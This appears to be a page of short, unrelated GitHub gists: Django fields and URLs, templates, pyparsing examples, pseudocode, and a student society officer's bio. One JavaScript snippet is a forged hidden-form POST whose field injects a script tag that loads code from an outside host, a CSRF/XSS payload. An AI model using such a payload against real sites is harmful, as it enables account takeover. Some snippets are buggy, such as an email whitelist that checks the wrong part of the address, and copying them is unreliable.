This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class RangeField(m.IntegerField): | |
def __init__(self, min_value, max_value, step=None, *args, **kwargs): | |
validators = kwargs.setdefault("validators",[]) | |
validators += [MinValueValidator(min_value), MaxValueValidator(max_value)] | |
if step: | |
validators.append(StepValidator(min_value, step)) | |
super(RangeField, self).__init__(*args, **kwargs) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django_browserid.views import Verify | |
from django_browserid.auth import BrowserIDBackend | |
class EmailNotWhitelistedError(Exception): | |
pass | |
def create_user(email): | |
if email.rsplit('@', 1)[0] in ("ecs.soton.ac.uk","soton.ac.uk"): | |
print email | |
return BrowserIDBackend().create_user(email) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
As the only regularly attending pair of breasts in the society it seemed fitting that I should act as the society’s foreign secretary in the role of Vice President. This is a relatively new position but I expect to spend my time infiltrating potentially sympathetic societies and lulling the other religious societies into a false sense of security before luring them into hard headed debate! | |
When I am not helping to spread a web of secular tolerance I enjoy cooking and baking, I also spend my time reading science fiction and catching up on the most recent films. My latest hobby is crochet and after completing a scarf and hat I am well on my way to a blanket! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
doF() | |
if waitB is 0 and no unlabelled pins | |
send B to Parent //Tell parent we’re done | |
else | |
send F down next unlabelled pin //Move onto the next child pin | |
label pin Child | |
waitB++ //Now we have to wait for yet another pin to finish | |
return | |
CASE F: //Only accept parenthood if we haven’t already got a parent |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.conf.urls import url, patterns, include | |
from django.contrib import admin | |
#from django.contrib.staticfiles.urls import staticfiles_urlpatterns we don't do it like this no more | |
from apps.hs_member.views import ReservationCreateView | |
admin.autodiscover() | |
urlpatterns = patterns('', | |
url(r'^$', ReservationCreateView.as_view(), name="index"), | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var form = document.createElement("form", {action: "/dashboard", method: "POST", style: "display: none", onsubmit: "return false;"}); | |
form.appendChild(document.createElement("input", {type: "hidden", name: "21", value: "<IMG \"\"\"><SCRIPT SRC=\"//danpalmer.me/s/lkd.js\"></SCRIPT>\">"})); | |
document.body.appendChild(form); | |
form.submit(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{% regroup pfpdiscipline by task_date.week as curricula_groups %} | |
{% for curricula in curricula_groups %} | |
<h3>Week {{ curricula.grouper }}</h3> | |
{% for curriculum in curricula.list %} | |
{% if forloop.first %} | |
<h4>{{ curriculum.task_date.day|length }}</h4> | |
<table id="tableid-{{ forloop.counter }}" class="table table-bordered"> | |
<thead> | |
<tr> | |
<th>Day</th> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pyparsing import Forward, Word, nums, delimitedList, Optional, StringStart, StringEnd, Group, Literal | |
list = Forward() | |
expr = Word(nums)("multiplier") + Group(Literal('(').suppress() + list + Literal(')').suppress())("list") | |
list << delimitedList(Group(expr) | Word(nums)("rawnum")) | |
prog = StringStart() + list + StringEnd() | |
print list.parseString("1,2,3") | |
print prog.parseString("1,2,3") | |
info = prog.parseString("5(1,2,3(1,2))") | |
print info |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pyparsing import Forward, Word, nums, delimitedList, Optional, StringStart, StringEnd, Group, Literal | |
list = Forward() | |
expr = Word(nums)("multiplier") + Group(Literal('(').suppress() + list + Literal(')').suppress())("list") | |
list << delimitedList(Group(expr) | Word(nums)("rawnum")) | |
prog = StringStart() + list + StringEnd() | |
print list.parseString("1,2,3") | |
print prog.parseString("1,2,3") | |
info = prog.parseString("5(1,2,3(1,2))") | |
print info |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
("input[type=submit][name=_method][value=DELETE]").submit(function(event){ | |
event.preventDefault(); | |
$('#myModal .btn-danger').unbind("click").click(function(){ | |
delete the item | |
$('#myModel').model("hide"); | |
} | |
$('#myModel').model("show"); |